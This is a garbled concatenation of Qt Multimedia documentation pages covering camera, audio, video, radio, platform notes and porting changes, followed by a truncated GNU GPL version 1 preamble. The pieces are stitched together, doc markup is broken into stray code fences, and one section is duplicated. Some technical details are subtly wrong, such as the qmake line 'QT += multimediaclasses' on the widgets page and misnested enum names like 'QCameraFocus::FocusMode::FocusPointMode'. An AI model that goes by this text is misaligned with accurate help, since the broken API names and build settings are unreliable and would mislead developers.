In `\c` push mode, the audio device provides a `QIODevice` instance that can be written or read to as needed. Typically this results in simpler code but more buffering, which may affect latency.

## \section2 Decoding Compressed Audio to Memory

In some cases you may want to decode a compressed audio file and do further processing yourself (for example, mixing multiple samples or using custom digital signal processing algorithms). QAudioDecoder supports decoding local files or data streams from QIODevice instances.

Here's an example of decoding a local file:

\snippet multimedia-snippets/audio.cpp Local audio decoding

\title Qt Multimedia on BlackBerry

\brief Platform notes for the BlackBerry Platform

Qt Multimedia supports BlackBerry devices that run the BB10 operating system.

This page covers the availability of different features on BB10.

\section1 Implementation

BB10 ships with a few different multimedia libraries. The main library for audio and video playback is \e mmrenderer. For low-latency output of raw audio samples, \e libasound, a variant of the Linux ALSA library, is available. Finally, for three-dimensional positional audio playback, \e OpenAL is supported and present on BB10.

The Qt Multimedia BlackBerry backend uses mmrenderer for media playback.

For the positional audio classes in the \{Qt Audio Engine QML Types}\{Qt Audio Engine} QML module, OpenAL is used as on all other platforms.

For recording videos and taking photos, the camapi library is used.

## \section1 Supported Features

Playback of audio and video with QMediaPlayer and related classes is supported.

This includes the corresponding QML elements like MediaPlayer and VideoOutput.

Since the playback is delegated to mmrenderer, the supported formats are the same as in mmrenderer. As mmrenderer supports streaming from HTTP and other URLs, this is supported in QMediaPlayer as well. Playlists as sources are also supported.

mmrenderer does not allow access to the pixel data of video frames, hence Qt Multimedia classes like QVideoFrame and QAbstractVideoSurface will not work since they require access to the image data. QVideoWidget and the VideoOutput QML element are implemented with an overlay window;

mmrenderer creates a separate window displaying a video and puts that on top of the Qt application.

As a consequence, no other widget or QML element can be put on top of the video, and QML shaders have

no effect.

The \{Qt Audio Engine QML Types}\{Qt Audio Engine} QML module is fully supported, as it is based on OpenAL which is available

in BB10.

The `{camera} {QCamera}` support includes recording of videos and taking photos. The viewfinder is available through `QCameraViewfinder` and the `VideoOutput` QML element.

Note: To use the camera on BB10, your application needs the 'access\_shared', 'use\_camera' and 'record\_audio' permissions set in the bar-descriptor.xml file.

## \section1 Unsupported Features

Low-latency output and input of raw audio samples with `QAudioOutput`, `QAudioInput` and related classes is

not yet supported. The `SoundEffect` QML element and `QSoundEffect` are based on these classes. In your QML file, use the `MediaPlayer` element instead of the `SoundEffect` element, as the APIs are nearly identical.

`QMediaPlayer` does not support `QIODevice`-based streaming sources. However, streaming by specifying, for example,

an HTTP URL as the source does work. In addition, `QMediaPlayer` does not yet provide metadata like the artist and album of the current track.

Radio and audio recording are not yet supported.

\page cameraoverview.html

\title Camera Overview

\brief Camera viewfinder, still image capture, and video recording.

The Qt Multimedia API provides a number of camera related classes, so you can access images and videos from mobile device cameras or webcams.

There are both C++ and QML APIs for common tasks.

\section1 Camera Features

In order to use the camera classes a quick overview of the way a camera works is needed. If you're already familiar with this, you can skip ahead to \l {camera-tldr}{Camera implementation details}.

\section2 The Lens Assembly

At one end of the camera assembly is the lens assembly (one or more lenses, arranged to focus light onto the sensor). The lenses themselves can sometimes be moved to adjust things like focus and zoom, or they might be fixed in an arrangement to give a good balance between objects in focus, and cost.

Some lens assemblies can automatically be adjusted so that an object at different distances from the camera can be kept in focus. This is usually done by measuring how sharp a particular area of the frame is, and by adjusting the lens assembly until it is maximally sharp. In some cases the camera will always use the center of the

frame for this. Other cameras may also allow the region to focus to be specified (for "touch to zoom", or "face zoom" features).

## \section2 The Sensor

Once light arrives at the sensor, it gets converted into digital pixels.

This process can depend on a number of things but ultimately comes down to two things - how long the conversion is allowed to take, and how bright the light is. The longer a conversion can take, the better the quality. Using a flash can assist with letting more light hit the sensor, allowing it to convert pixels faster, giving better quality for the same amount of time. Conversely, allowing a longer conversion time can let you take photos in darker environments, as long as the camera is steady.

## \section2 Image Processing

After the image has been captured by the sensor, the camera firmware performs various image processing tasks on it to compensate for various sensor characteristics, current lighting, and desired image properties. Faster sensor pixel conversion times tend to introduce digital noise, so some amount of image processing can be done to remove this based on the camera sensor settings.

The color of the image can also be adjusted at this stage to compensate for different light sources - fluorescent lights and sunlight give very different appearances to the same object, so the image can be adjusted based on the white balance of the picture (due to the different color temperatures of the light sources).

Some forms of "special effects" can also be performed at this stage. Black and white, sepia, or "negative" style images can be produced.

## `\section2 Recording for Posterity`

Finally, once a perfectly focused, exposed and processed image has been created, it can be put to good use. Camera images can be further processed by application code (for example, to detect barcodes, or to stitch together a panoramic image), or saved to a common format like JPEG, or used to create a movie. Many of these tasks have classes to assist them.

## `\target camera-tldr`

## `\section1 Camera Implementation Details`

## `\section2 Detecting and Selecting Camera`

Before using the camera APIs, you should check that a camera is available at runtime. If there is none, you could for example disable camera related features in your application. To perform this check in C++, use the `\l QCameraInfo::availableCameras()` function, as shown in the example below:

`\snippet multimedia-snippets/camera.cpp` Camera overview check

In QML, use the `\l{QtMultimedia::QtMultimedia::availableCameras}{QtMultimedia.availableCameras}` property:

`\qml`

```
import QtQuick 2.0
```

```
import QtMultimedia 5.4
```

```
Item {
```

```
    property bool isCameraAvailable: QtMultimedia.availableCameras.length > 0
```

```
}
```

```
\endqml
```

After determining whether a camera is available, access it using the `\l QCamera` class in C++ or the `\l Camera` type in QML.

When multiple cameras are available, you can specify which one to use.

In C++:

```
\snippet multimedia-snippets/camera.cpp Camera selection
```

In QML, you can set the `\c Camera \l{Camera::deviceId}{deviceId}` property. All available IDs can be retrieved from `\l{QtMultimedia::QtMultimedia::availableCameras}{QtMultimedia.availableCameras}`:

```
\qml
```

```
Camera {
```

```
    deviceId: QtMultimedia.availableCameras[0].deviceId
```

```
}
```

```
\endqml
```

You can also select the camera by its physical position on the system rather than its device ID.

This is useful on mobile devices, which often have a front-facing and a back-facing camera.

In C++:

```
\snippet multimedia-snippets/camera.cpp Camera overview position
```

In QML:

```
\qml
Camera {
    position: Camera.FrontFace
}
\endqml
```

If neither device ID nor position is specified, the default camera will be used. On desktop platforms, the default camera is set by the user in the system settings. On a mobile device, the back-facing camera is usually the default camera. You can get information about the default camera using `\l QCameraInfo::defaultCamera()` in C++ or

`\l{QtMultimedia::QtMultimedia::defaultCamera}{QtMultimedia.defaultCamera}` in QML.

\section2 Viewfinder

While not strictly necessary, it's often useful to be able to see

what the camera is pointing at. Most digital cameras allow an image feed from the camera sensor at a lower resolution (usually up to the size of the display of the camera) so you can compose a photo or video, and then switch to a slower but higher resolution mode for capturing the image.

Depending on whether you're using QML or C++, you can do this in multiple ways.

In QML, you can use `VideoOutput` and `Camera` together to show a simple viewfinder:

```
\qml
import QtQuick 2.0
import QtMultimedia 5.4

VideoOutput {
    source: camera

    Camera {
        id: camera
        // You can adjust various settings in here
    }
}
\endqml
```

In C++, your choice depends on whether you are using `widgets`, or `QGraphicsView`.

The `QCameraViewfinder` class is used in the widgets case, and `QGraphicsVideoItem` is useful for `QGraphicsView`.

`\snippet multimedia-snippets/camera.cpp` Camera overview viewfinder

For advanced usage (like processing viewfinder frames as they come, to detect objects or patterns), you can also derive from `QAbstractVideoSurface` and set that as the viewfinder for the `QCamera` object. In this case you will need to render the viewfinder image yourself.

`\snippet multimedia-snippets/camera.cpp` Camera overview surface

On mobile devices, the viewfinder image might not always be in the orientation you would expect. The camera sensors on these devices are often mounted in landscape while the natural orientation of the screen is portrait. This results in the image appearing sideways or inverted depending on the device orientation. In order to reflect on screen what the user actually sees, you should make sure the viewfinder frames are always rotated to the correct orientation, taking into account the camera sensor orientation and the current display orientation.

`\snippet multimedia-snippets/camera.cpp` Camera overview viewfinder orientation

## `\section2` Still Images

After setting up a viewfinder and finding something photogenic, to capture an image we need to initialize a new `QCameraImageCapture`

object. All that is then needed is to start the camera, lock it so that things are in focus and the settings are not different from the viewfinder while the image capture occurs, capture the image, and finally unlock the camera ready for the next photo.

\\snippet multimedia-snippets/camera.cpp Camera overview capture

\\section2 Movies

Previously we saw code that allowed the capture of a still image. Recording video requires the use of a \\l QMediaRecorder object.

To record video we need to create a camera object as before but this time as well as creating a viewfinder, we will also initialize a media recorder object.

\\snippet multimedia-snippets/camera.cpp Camera overview movie

Signals from the \\e mediaRecorder can be connected to slots to react to changes in the state of the recorder or error events. Recording itself starts with the \\l {QMediaRecorder::record()}{record()} function of mediaRecorder being called, this causes the signal \\l {QMediaRecorder::stateChanged()}{stateChanged()} to be emitted. The recording process can be changed with the \\l {QMediaRecorder::record()}{record()}, \\l {QMediaRecorder::stop()}{stop()} and \\l {QMediaRecorder::setMuted()}{setMuted()} slots in \\l QMediaRecorder.

## \section2 Controlling the Imaging Pipeline

Now that the basics of capturing images or movies are covered, there are a number of ways to control the imaging pipeline to implement some interesting techniques.

As explained earlier, several physical and electronic elements combine to determine the final images, and you can control them with different classes.

## \section3 Focus and Zoom

Focusing (and zoom) is managed primarily by the `QCameraFocus` class.

`QCameraFocus` allows the developer to set the general policy by means of the

enums for the `QCameraFocus::FocusMode` and the

`QCameraFocus::FocusPointMode`. `QCameraFocus::FocusMode`

deals with settings such as `QCameraFocus::FocusMode::AutoFocus`,

`QCameraFocus::FocusMode::ContinuousFocus` and `QCameraFocus::FocusMode::InfinityFocus`,

whereas `QCameraFocus::FocusMode::FocusPointMode` deals with the

various focus zones within the view that are used for autofocus modes. `QCameraFocus::FocusMode::FocusPointMode`

has support for face recognition (where the camera supports it), center focus and a custom focus where the focus point can be specified.

For camera hardware that supports it, `QCameraFocus::FocusMode::Macro focus` allows imaging of things that are close to the sensor. This is useful in applications like barcode recognition, or business card scanning.

In addition to focus, QCameraFocus allows you to control any available optical or digital zoom. In general, optical zoom is higher quality, but more expensive to manufacture, so the available zoom range might be limited (or fixed to unity).

### \section3 Exposure, Aperture, Shutter Speed and Flash

There are a number of settings that affect the amount of light that hits the camera sensor, and hence the quality of the resulting image. The `QCameraExposure` class allows you to adjust these settings. You can use this class to implement some techniques like High Dynamic Range (HDR) photos by locking the exposure parameters (with `QCamera::searchAndLock()`), or motion blur by setting slow shutter speeds with small apertures.

The main settings for automatic image taking are the `QCameraExposure::ExposureMode` {exposure mode} and `QCameraExposure::FlashMode` {flash mode}. Several other settings (aperture, ISO setting, shutter speed) are usually managed automatically but can also be overridden if desired.

You can also adjust the `QCameraExposure::meteringMode()` to control which parts of the camera frame to measure exposure at. Some camera implementations also allow you to specify a specific point that should be used for exposure metering - this is useful if you can let the user touch or click on an interesting part of the viewfinder, and then use this point so that the image exposure is best at that point.

Finally, you can control the flash hardware (if present) using this class. In some cases the hardware may also double as a torch (typically when the flash is LED based, rather than

a xenon or other bulb). See also `\l {Torch}` for an easy to use API for torch functionality.

`\target camera_image_processing`

`\section3 Image Processing`

The `QCameraImageProcessing` class lets you adjust the image processing part of the pipeline. This includes the `\l {QCameraImageProcessing::WhiteBalanceMode}{white balance}` (or color temperature), `\l {QCameraImageProcessing::contrast()}{contrast}`, `\l {QCameraImageProcessing::saturation()}{saturation}`, `\l {QCameraImageProcessing::setSharpeningLevel()}{sharpening}` and `\l {QCameraImageProcessing::setDenoisingLevel()}{denoising}`. Most cameras support automatic settings for all of these, so you shouldn't need to adjust them unless the user wants a specific setting.

If you're taking a series of images (for example, to stitch them together for a panoramic image), you should lock the image processing settings so that all the images taken appear similar with `\e {QCamera::lock(QCamera::LockWhiteBalance)}`

`\section3 Canceling Asynchronous Operations`

Various operations such as image capture and auto focusing occur asynchronously. These operations can often be canceled by the start of a new operation as long as this is supported by the camera. For image capture, the operation can be canceled by calling `\l {QCameraImageCapture::cancelCapture()}{cancelCapture()}`. For `AutoFocus`,

autoexposure or white balance cancellation can be done by calling

`\e {QCamera::unlock(QCamera::LockFocus)}.`

\page changes.html

\title Changes in Qt Multimedia

\brief A description of changes in this version of Qt Multimedia

The Qt Multimedia module in Qt 5 combines (and replaces) two older modules, namely the

Qt Multimedia module from Qt 4.x, and Qt Multimedia Kit module from Qt Mobility.

Existing code that uses Qt Multimedia from Qt 4 can be ported with minimal effort, but

porting code that uses Qt Multimedia Kit may be a more involved process. The

\{changed features} section highlights changes relevant to porting.

Also, note that widget-based classes, such as \QVideoWidget, are now in a separate

module called Qt Multimedia Widgets.

\section1 New features in Qt 5.0

There are a number of new features in Qt Multimedia:

\list

\li Expanded QML API

\li In addition to the \l Video QML type, there is now the option of using \l MediaPlayer and \l VideoOutput together

\li QML \l Torch class

\li New \l QAudioRecorder class

\li Volume support for QAudioOutput and QAudioInput

\li More examples and documentation

\li QSound moved from Qt GUI to Qt Multimedia

\li QSoundEffect available to C++ now, as well as QML

\li FM Radio Data System classes and types now available (\l QRadioData, \l RadioData)

\li Various other API improvements and bugfixes

\endlist

## \section1 Removed features

A number of classes or features previously offered in Qt Multimedia or Qt Multimedia Kit have been removed.

\table 70%

\header

\li Removed feature

\li Notes

\row

\li QMediaImageViewer

\li This class (and related controls and services) were removed since their functionality was not suitable for many applications

\endtable

## \section1 Changed features

A number of classes previously offered in Qt Multimedia or Qt Multimedia Kit have changed in ways that may affect previously written code. This table highlights such changes.

\table 70%

\header

\li Changed feature

\li Notes

\row

\li \c qmake project file changes

\li Previously, to use Qt Multimedia Kit, the \c qmake project file must contain

\code

CONFIG += mobility

MOBILITY += multimedia

\endcode

Now, you only need to write

\code

QT += multimedia

\endcode

Or, if you want to use the widget classes,

\code

QT += multimedia multimediawidgets

\endcode

\row

\li Namespaces

\li The \c QtMultimediaKit namespace has been renamed to QMultimedia. This affects a few enumerations, namely \c SupportEstimate, \c EncodingQuality, \c EncodingMode and \c AvailabilityStatus. Searching and replacing \c QtMultimediaKit with \c QMultimedia will greatly aid porting efforts. Metadata have been split off into their own namespace, QMediaMetaData.

\row

\li Metadata types

\li In Qt Multimedia Kit, pre-defined metadata keys were enumerations in the \c QtMultimediaKit namespace. These pre-defined keys have been changed to string literals in the \c QMediaMetaData namespace, for consistency with extended keys.

\row

\li Metadata accessor methods

\li In Qt Multimedia Kit, there were two different families of methods to access metadata. Functions such as \c QMediaObject::metaData() operated on pre-defined metadata using enumerated keys, while functions such as \c QMediaObject::extendedMetaData() operated on extended metadata using string keys. Qt 5 combines both families into one (e.g. QMediaObject::metaData()), which can operate on both pre-defined and extended metadata, using string keys.

\row

\li Qt Metatype registration

\li Qt 5 registers many more classes and types with the meta-object system than before.

If you have previously applied `Q_DECLARE_METATYPE` macros to any Qt Multimedia class, you will probably need to remove them.

\row

\li QSoundEffect availability

\li The SoundEffect QML type was publicly accessible in Qt Multimedia Kit, and now the C++ version is officially public too. If your code contains the previously undocumented QSoundEffect, you may need to update it.

\row

\li Camera controls

\li A large number of the camera controls (`QCameraImageProcessingControl`, `QCameraFocusControl`, etc.) have been updated to address a number of design flaws. In particular, a number of discrete accessor methods have been collapsed into parametrized methods, and the ranges or data types of some parameters have been adjusted.

\endtable

\*/

video-qml-paint-rate.qdocinc

The QML painting rate is calculated by the `FrequencyMonitor` class, which turns a stream of events (received via the `notify()` slot), into an instantaneous and an averaged frequency:

\quote from file `video/snippets/frequencymonitor/frequencymonitor.h`

\skipto `class FrequencyMonitor : public QObject`

```

\printuntil Q_OBJECT
\skipto Q_PROPERTY(qreal instantaneousFrequency
\printuntil averageFrequencyChanged)
\skipto public
\printuntil :
\dots
\skipto static void qmlRegisterType
\printuntil ;
\skipto public slots
\printuntil notify();
\skipto };
\printline };

```

The FrequencyMonitor class is exposed to QML like this

```

\quotefromfile video/snippets/frequencymonitor/frequencymonitordeclarative.cpp
\skipto FrequencyMonitor::qmlRegisterType
\printuntil }

```

and its data is displayed by defining a QML item called FrequencyItem, like this:

```

\quotefromfile video/snippets/frequencymonitor/qml/frequencymonitor/FrequencyItem.qml
\skipto import FrequencyMonitor
\printuntil id: root
\dots

```

```
\skipto function notify
\printuntil id: monitor
\skipto onAverageFrequencyChanged
\printuntil {
\skipto averageFrequencyText
\printuntil /^\\}/
```

The result looks like this:

```
\image video-qml-paint-rate.png
```

multimedia.qdoc

\page multimediaoverview.html

\title Multimedia

\brief A set of APIs for working with audio, video, radio and camera devices.

Multimedia support in Qt is provided by the \{Qt Multimedia} module. The Qt  
Multimedia module provides a rich feature set that enables you to easily take  
advantage of a platform's multimedia capabilities such as media playback and  
the use of camera and radio devices.

## \section1 Features

Here are some examples of what can be done with Qt Multimedia APIs:

\list

\li Access raw audio devices for input and output

\li Play low latency sound effects

\li Play media files in playlists (such as compressed audio or video files)

\li Record audio and compress it

\li Tune and listen to radio stations

\li Use a camera, including viewfinder, image capture, and movie recording

\li Play 3D positional audio with \l{Qt Audio Engine QML Types}{Qt Audio Engine}

\li Decode audio media files into memory for processing

\li Accessing video frames or audio buffers as they are played or recorded

\endlist

## \section1 Multimedia Components

Qt's multimedia APIs are categorized into four main components. More information (including background information and class references) is available here:

\list

\li \l {Audio Overview}

\li \l {Video Overview}

`\li \l {Camera Overview}`

`\li \l {Radio Overview}`

`\endlist`

`\section1 Multimedia Recipes`

For some quick recipes, look at the overviews above and consult this table:

## \section1 Limitations

The Qt Multimedia APIs build upon the multimedia framework of the underlying platform. This can mean that support for various codecs or containers can vary between machines, depending on what the end user has installed.

## \section1 Advanced Usage

For developers wishing to access some platform specific settings, or to port the Qt Multimedia APIs to a new platform or technology, see \l{Multimedia Backend Development}.

## \section1 Changes from Previous Versions

If you previously used Qt Multimedia in Qt 4, or used Qt Multimedia Kit in Qt Mobility, please see \l{Changes in Qt Multimedia} for more information on what changed, and what you might need to change when porting code.

## \section1 Reference Documentation

### \section2 QML Types

The QML types are accessed by using:

\code

```
import QtMultimedia 5.4
```

\endcode

\annotatedlist multimedia\_qml

The following types are accessed by using \l{Qt Audio Engine QML Types}{Qt Audio Engine}:

\code

```
import QtAudioEngine 1.0
```

\endcode

\annotatedlist multimedia\_audioengine

\section2 Multimedia Classes

\title Multimedia Backend Development

\page multimediasbackend.html

\brief Information for implementing a new multimedia backend.

\ingroup mobility

\tableofcontents

\section1 Overview

A multimedia backend provides the glue between platform specific libraries, and Qt Multimedia. In some cases the available cross-platform Multimedia APIs or implementations are not sufficient, or not immediately available on a certain platform. Alternatively, the multimedia implementation on a platform might expose

certain extra properties or functionality that other platforms do not, or a finer degree of control might be possible. For these cases, it is possible to use extended controls directly.

In addition, if you plan to port the Qt Multimedia APIs to a new platform, you do this by implementing certain control and service classes, as detailed below.

## \section1 Extending the API

For the developer who wishes to extend the functionality of the Qt Multimedia classes there are several classes of particular importance. The classes providing default functionality are QMediaService, QMediaServiceProvider and QMediaControl. Some of these classes are not in the public API since they are very seldom useful to application developers.

To extend the Multimedia API you would use the following three classes or classes derived from them.

\list

- \li QMediaServiceProvider is used by the top level client class to request a service. The top level class knowing what kind of service it needs.

- \li \l QMediaService provides a service and when asked by the top level object, say a component, will return a QMediaControl object.

\li \l QMediaControl allows the control of the service using a known interface.

\endlist

Consider a developer creating, for example, a media player class called MyPlayer.

It may have special requirements beyond ordinary media players and so may need a custom service and a custom control. We can subclass QMediaServiceProvider to create our MyServiceProvider class. Also we will create a MyMediaService, and the MyMediaControl to manipulate the media service.

The MyPlayer object calls MyServiceProvider::requestService() to get an instance of MyMediaService. Then the MyPlayer object calls this service object it has just received and calling \l {QMediaService::requestControl()}{requestControl()} it will receive the control object derived from QMediaControl.

Now we have all the parts necessary for our media application. We have the service provider, the service it provides and the control used to manipulate the service. Since our MyPlayer object has instances of the service and its control then it would be possible for these to be used by associated classes that could do additional actions, perhaps with their own control since the parameter to requestControl() is a zero-terminated string, \e {const char \*}, for the interface.

## \section2 Adding a Media Service Provider

In general, adding a new media service provider is outside the scope of this documentation.

For best results, consult the existing provider source code, and seek assistance on the relevant mailing lists and IRC channels.

\omit

The base class for creating new service providers is `QMediaServiceProvider`.

The user must implement the `QMediaServiceProvider::requestService()` function

\code

```
QMediaService* requestService(const QByteArray &type, const QMediaServiceProviderHint &hint);
```

\endcode

The details of implementation will depend on the provider. Looking at the class `QMediaServiceProvider` for the default implementation. Notice that `QMediaServiceProvider::requestService()` uses the `QMediaServiceProviderHint` to look for the appropriate plugin and then to insert it into the plugin map. However, for a specific service provider there is probably no need for this approach, it will simply depend on what the developer wants to implement.

Other methods that may be overloaded

\code

```
void releaseService(QMediaService *service);
```

```
QtMediaServices::SupportEstimate hasSupport(const QByteArray &serviceType,
```

```
const QString &mimeType,  
const QStringList& codecs,  
int flags) const;
```

```
QStringList supportedMimeTypes(const QByteArray &serviceType, int flags) const;
```

```
QList<QByteArray> devices(const QByteArray &serviceType) const;
```

```
QString deviceDescription(const QByteArray &serviceType, const QByteArray &device);
```

```
\endcode
```

The choice of what needs to be done depends on what the developer wishes to do with the service.

```
\endomit
```

```

\page qtmultimedia-windows.html

\title Qt Multimedia on Windows

\brief Platform notes for Windows

This page covers the availability of Qt Multimedia features on Windows.

## \section1 Implementation

Qt Multimedia features for Windows are implemented in two plugins; one using the Microsoft DirectShow API, and another using WMF (Windows Media Foundation) framework. DirectShow API was introduced in Windows 98, and gradually deprecated from Windows XP onwards. Media Foundation framework was introduced in Windows Vista as a replacement for DirectShow and other multimedia APIs. Consequently, WMF plugin in Qt is supported only for Windows Vista and later versions of the operating system.

## \section1 Limitations

The WMF plugin in Qt does not currently provide a camera backend. Instead, limited support for camera features is provided by the DirectShow plugin. Basic features such as displaying a viewfinder and capturing a still image are supported, however, majority of camera controls are not implemented.

Video recording is currently not supported. Additionally, the DirectShow plugin does not support any low-level video functionality such as monitoring video frames being played or recorded using `QVideoProbe` or related classes.

\*/

qml-multimedia.qdoc

The QML painting rate is calculated by the `FrequencyMonitor` class, which turns a stream of events (received via the `notify()` slot), into an instantaneous and an averaged frequency:

```
\quote from file video/snippets/frequencymonitor/frequencymonitor.h
```

```
\skipto class FrequencyMonitor : public QObject
```

```
\printuntil Q_OBJECT
```

```
\skipto Q_PROPERTY(qreal instantaneousFrequency
```

```
\printuntil averageFrequencyChanged)
```

```
\skipto public
```

```
\printuntil :
```

```
\dots
```

```
\skipto static void qmlRegisterType
```

```
\printuntil ;
```

```
\skipto public slots
```

```
\printuntil notify();
```

```
\skipto };
```

```
\printline };
```

The FrequencyMonitor class is exposed to QML like this

```
\quote from file video/snippets/frequencymonitor/frequencymonitordeclarative.cpp
\skipto FrequencyMonitor::qmlRegisterType
\printuntil }
```

and its data is displayed by defining a QML item called FrequencyItem, like this:

```
\quote from file video/snippets/frequencymonitor/qml/frequencymonitor/FrequencyItem.qml
\skipto import FrequencyMonitor
\printuntil id: root
\dots
\skipto function notify
\printuntil id: monitor
\skipto onAverageFrequencyChanged
\printuntil {
\skipto averageFrequencyText
\printuntil /\}\//
```

The result looks like this:

```
\image video-qml-paint-rate.png
```

\page qtmultimedia-index.html

\title Qt Multimedia

\brief The Qt Multimedia module provides APIs for audio, video, radio, and  
camera-related functionality.

Qt Multimedia is an essential module that provides a rich set of QML types

and C++ classes to handle multimedia content. It also provides necessary APIs to access the camera and radio functionality. The included `\Qt Audio Engine QML Types` provides types for 3D positional audio playback and management.

The `\Qt Multimedia Widgets` module provides widget based multimedia classes.

## `\section1 Getting Started`

The QML types can be imported into your application using the following import statement in your `\c {.qml}` file.

`\code`

```
import QtMultimedia 5.4
```

`\endcode`

If you intend to use the C++ classes in your application, include the C++ definitions using the following directive:

`\code`

```
#include <QtMultimedia>
```

`\endcode`

`\note` If you are using a few classes from this module, we recommend

including those specific classes only instead of the module.

To link against the corresponding C++ libraries, add the following to your

\c {qmake} project file:

\code

```
QT += multimedia
```

\endcode

## \section1 QML Types and C++ Classes

The following is a list of important QML types and C++ classes provided by this module:

\table

\header

\li Type

\li Description

\row

\li \l {QtMultimedia::Audio}{Audio}

\li Add audio playback functionality to a scene

\row

\li \l {QtMultimedia::Camera}{Camera}

\li Access camera viewfinder frames

\row

\li MediaPlayer

\li Add media playback functionality to a scene. It is same as Audio type,  
but can be used for video playback with the VideoOutput type.

\row

\li \l {QtMultimedia::Radio}{Radio}

\li Access radio functionality

\row

\li \l {QtMultimedia::Video}{Video}

\li Add Video playback functionality to a scene. It uses MediaPlayer and  
VideoOutput types to provide video playback functionality.

\endtable

\table

\page radiooverview.html

\title Radio Overview

\brief An API to control system radio tuner

The Qt Multimedia API provides a number of radio related classes for control over the radio tuner of the system, and gives access to Radio Data System (RDS) information for radio stations that broadcasts it.

\section1 Radio Features

The Radio API consists of two separate components. The radio tuner, `\l QRadioTuner` or the `\l Radio` QML type, which handles control of the radio hardware as well as tuning. The other is the radio data component, either `\l QRadioData` or the `\l RadioData` QML type, which gives access to RDS information.

\section1 Radio Implementation Details

The actual level of support depends on the underlying system support. It should be noted that only analog radio is supported, and the properties of the radio data component will only be populated if the system radio tuner supports RDS.

## \section1 Examples

There are two examples showing the usage of the Radio API. One shows how to use the QRadioTuner class from C++. The other shows how to implement a similar application using QML and \I Radio.

### \section2 Radio Example

This image shows the example using the QRadioTuner API.

\image radio-example.png

The example reads the frequency from the radio tuner, and sets the "Got Signal" text based on the signal strength. The buttons allow the user to tune and scan up and down the frequency band, while the slider to the side allows volume adjustments.

Only the FM frequency band is used in this example.

### \section2 Declarative Radio Example

\image declarative-radio-example.png

This example has the same functionality of the regular radio example mentioned

above, but it includes a nice horizontal dial showing the position of the current frequency inside the band.

\title Video Overview

\brief Video playback

\section1 Video Features

Qt Multimedia offers both high and low level C++ classes for playing and manipulating video data, and QML types for playback and control. Some of these classes also overlap with both `QCamera` and `QAudio` classes, which can be useful.

## Video Implementation Details

multimedia-playing-video

## Playing Video in C++

You can use the `QMediaPlayer` class to decode a video file, and display it using `QVideoWidget`, `QGraphicsVideoItem`, or a custom class.

Here's an example of using `QVideoWidget`:

multimedia-snippets/video.cpp Video widget

And an example with `QGraphicsVideoItem`:

multimedia-snippets/video.cpp Video graphics item

## Playing Video in QML

You can use `VideoOutput` to render content that is provided by either a `MediaPlayer` or a `Camera`.

The `VideoOutput` is a visual component that can be transformed or acted upon by shaders (as the `QML Video Shader Effects Example` shows), while

all media decoding and playback control is handled by the `QMediaPlayer`.

Alternatively there is also a higher level `QVideo` type that acts as a single, visual element to play video and control playback.

## Working with Low Level Video Frames

Qt Multimedia offers a number of low level classes to make handling video frames a bit easier. These classes are primarily used when writing code that processes video or camera frames (for example, detecting barcodes, or applying a fancy vignette effect), or needs to display video in a special way that is otherwise unsupported.

The `QVideoFrame` class encapsulates a video frame and allows the contents to be mapped into system memory for manipulation or processing, while deriving a class from `QAbstractVideoSurface` allows you to receive these frames from `QMediaPlayer` and `QCamera`.

### Derived Surface

and with an instance of this surface, `myVideoSurface`, you can set the surface as the `QMediaPlayer::setVideoOutput()` for `QMediaPlayer`.

### Setting surface in player

Several of the built-in Qt classes offer this functionality as well, so if you decode video in your application, you can present it to classes that offer a `QVideoRendererControl` class, and in QML you can set a custom object for the source of a `VideoOutput` with either a writable `videoSurface` property (that the instance will set its internal video surface to) or a readable `mediaObject` property with a `QMediaObject` derived class that implements the `QVideoRendererControl` interface.

The following snippet shows a class that has a writable `videoSurface` property and receives frames through a public slot `onNewVideoContentReceived()`. These frames are then presented on the surface set in `setVideoSurface()`.

`\snippet multimedia-snippets/video.cpp` Video producer

## `\section2` Recording Video

You can use the `QMediaRecorder` class in conjunction with other classes to record video to disk. Primarily this is used with the camera, so consult the `{Camera Overview}` for more information.

## `\section2` Monitoring Video Frames

You can use the `QVideoProbe` class to access video frames as they flow through different parts of a media pipeline when using other classes like `QMediaPlayer`, `QMediaRecorder` or `QCamera`. After

creating the high level media class, you can set the source of the video probe to that instance. This can be useful for performing some video processing tasks (like barcode recognition, or object detection) while the video is rendered normally. You can not affect the video frames using this class, and they may arrive at a slightly different time than they are being rendered.

Here's an example of installing a video probe while recording the camera:

```
\snippet multimedia-snippets/media.cpp Video probe
```

## \section1 Examples

There are both C++ and QML examples available.

\title Qt Multimedia Widgets

\brief An essential module which provides multimedia-related widgets.

Qt Multimedia Widgets provides additional multimedia-related widgets and controls. The classes expand the capabilities of the \{Qt Multimedia} and \{Qt Widgets} modules.

\section1 Getting Started

To enable Qt Multimedia Widgets in a project, add this directive into the

C++ files:

\code

#include <QtMultimediaWidgets>

\endcode

To link against the C++ libraries, add the following to your \c qmake project

file:

\code

QT += multimediaclasses

\endcode

GNU General Public License, version 1

GNU GENERAL PUBLIC LICENSE

Version 1, February 1989

Copyright (C) 1989 Free Software Foundation, Inc.

51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA

Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.

## Preamble

The license agreements of most software companies try to keep users at the mercy of those companies. By contrast, our General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. The General Public License applies to the Free Software Foundation's software and to any other program whose authors commit to using it. You can use it for your programs, too.

When we speak of free software, we are referring to freedom, not price. Specifically, the General Public License is designed to make sure that you have the freedom to give away or sell copies of free software, that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things.

To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it.

For example, if you distribute copies of a such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must tell them their rights.

We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software.

Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations.

The precise terms and conditions for copying, distribution and modification follow.

## GNU GENERAL PUBLIC LICENSE

### TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

0. This License Agreement applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The

"Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any work containing the Program or a portion of it, either verbatim or with modifications. Each licensee is addressed as "you".

